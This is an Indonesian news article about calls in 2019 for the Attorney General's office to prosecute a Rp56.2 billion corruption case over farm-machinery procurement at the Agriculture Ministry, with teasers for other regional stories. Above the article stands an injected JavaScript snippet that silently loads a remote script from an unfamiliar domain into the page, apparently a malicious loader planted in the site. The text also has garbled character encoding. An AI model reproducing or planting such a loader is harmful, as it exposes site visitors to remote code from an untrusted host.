(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Penyidik Jaksa Agung Muda Tindak Pidana Khusus (Jampidsus) diminta tetap memproses
perkara dugaan korupsi pengadaan alat mesin pertanian di Kementerian Pertanian yang merugikan keuangan negara Rp56,203 miliar.
Semua yang terlibat wajib diproses, diperiksa secara adil,  benar dan profesional, tidak hanya pelaksana lapangan tetapi sampai pejabat yang bertanggung jawab,†kata Komisioner Komisi Kejaksaan Republik Indonesia (KKRI), Barita Simanjuntak dalam keterangan tertulisnya, Rabu 8 Mei 2019.
Barita menjelaskan, sesuai informasi yang diterima pihaknya, sesungguhnya proses ini sudah berjalan, bahkan Kejagung sudah mengkerucutkan dan mengantongi calon tersangkanya.
“Kita harapkan kasus ini segera diproses utk memberikan kepastian hukum dan keadilan bagi semua pihak tanpa terkecuali mengingat kasus ini sudah cukup lama dalam proses penyidikan,†ujar dia.
Anggota Komisi III DPR RI John Kenedy Azis menambahkan, lima sprindik penanganan penyimpangan dugaan kasus pengadaan Alsintan tahun 2015 pasti ditindaklanjuti oleh Kejaksaan Agung.ÂÂ
“Tentunya, kejaksaan dalam mengeluarkan sprindik bukan sembarangan. Tentu sudah melalui proses penyelidikan yang akurat. Sehingga statusnya dinaikan ke penyidikan,†katanya.
Menurut dia, proses kasus ini perlu dibuka secara transparan kepada masyarakat. Tujuannya, agar menghindarkan kecurigaan dalam proses hukumnya.ÂÂ
“Setiap kasus harus dibuka secara transparan tidak ada kasus yang dirasakaan,” ucap dia.ÂÂ
Sebelumnya, Penyidik Jaksa Agung Muda Tindak Pidana Khusus (JAM Pidsus) telah mengeluarkan enam surat perintah penyidikan (sprindik) perkara tersebut.ÂÂ
Keenam sprindik itu, di antaranya pengadaan traktor roda dua, traktor roda empat, “rice transplanterâ€Â, “seeding tray†dan pompa air, ekskavator yang diduga merugikan keuangan negara mencapai angka Rp56,203 miliar.
Kejagung juga pernah menangani dugaan korupsi kegiatan bantuan fasilitas sarana produksi kepada kelompok Tani Binaan Penggerak Membangun Desa (PMD) tahun 2015 pada Kementan wilayah Sumatera Barat, Kalimantan Barat, Kalimantan Timur, dan Kalimantan Selatan. (vvn)
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.